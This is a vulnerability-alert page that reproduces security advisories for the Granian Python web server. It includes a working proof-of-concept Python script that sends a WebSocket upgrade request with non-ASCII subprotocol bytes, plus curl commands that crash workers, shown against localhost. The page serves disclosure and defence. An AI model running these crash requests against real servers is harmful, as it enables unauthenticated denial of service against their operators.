bash curl http://127.0.0.1:8000/crash-name curl http://127.0.0.1:8000/crash-value curl http://127.0.0.1:8000/crash-null

Expected result:

- the worker aborts after any of the crash paths - subsequent requests fail until the worker is restarted

Impact

- Worker process denial of service - A single bad response kills one worker - Application bugs become process crashes instead of request-scoped failures

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
Input Validation
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes.

The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked.

This is a single-request Denial Of Service against one worker. Repeating the request across workers takes the service offline.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/asgi/utils.rs#L122-L125

HeaderValue::tostr() returns Err for bytes outside visible ASCII. The subsequent .unwrap() panics.

In release builds Granian sets panic = "abort", so this panic terminates the worker instead of being handled as a normal request error.

PoC

Step 1. starts a Granian ASGI server

python app.py async def app(scope, receive, send): if scope["type"] == "websocket": await receive() await send({"type": "websocket.accept"}) return

await send({"type": "http.response.start", "status": 200, "headers": []}) await send({"type": "http.response.body", "body": b"ok"})

bash granian --interface asgi app:app --host 127.0.0.1 --port 8000

Step 2. sending a raw upgrade request with Sec-WebSocket-Protocol: \x80\xff reached this code path and caused the worker to abort.

python ws-subproto-crash.py import base64, os, socket, sys

host, port, path = sys.argv[1], int(sys.argv[2]), sys.argv[3] key = base64.b64encode(os.urandom(16)).decode()

req = ( f"GET {path} HTTP/1.1\r\nHost: {host}:{port}\r\n" "Upgrade: websocket\r\nConnection: Upgrade\r\n" f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n" ).encode() + b"Sec-WebSocket-Protocol: \x80\xff\r\n\r\n"

with socket.createconnection((host, port), timeout=5) as s: s.sendall(req) print(s.recv(4096)) bash python ws-subproto-crash.py 127.0.0.1 8000 /

Observed server output:

thread '<unnamed>' panicked at src/asgi/utils.rs:125:44: called Result::unwrap() on an Err value: ToStrError { priv: () } [ERROR] Unexpected exit from worker-1 [INFO] Shutting down granian

Impact

- Unauthenticated remote denial of service - One crafted request kills one worker - The application is never reached, so application-level authentication or routing does not mitigate the issue

1 / 2
Source: GitHub
First published (updated )
Severity
6.9
EPSS
0.03%
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

A TCP client can perform a TLS handshake and present the server name extension with a server name that is accepted by a server wildcard name, e.g. if the server is configured with a certificate accepting .example.com, any XYZ.example.com where xyz is a valid name can be used.

1 / 2
Source: MITRE
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203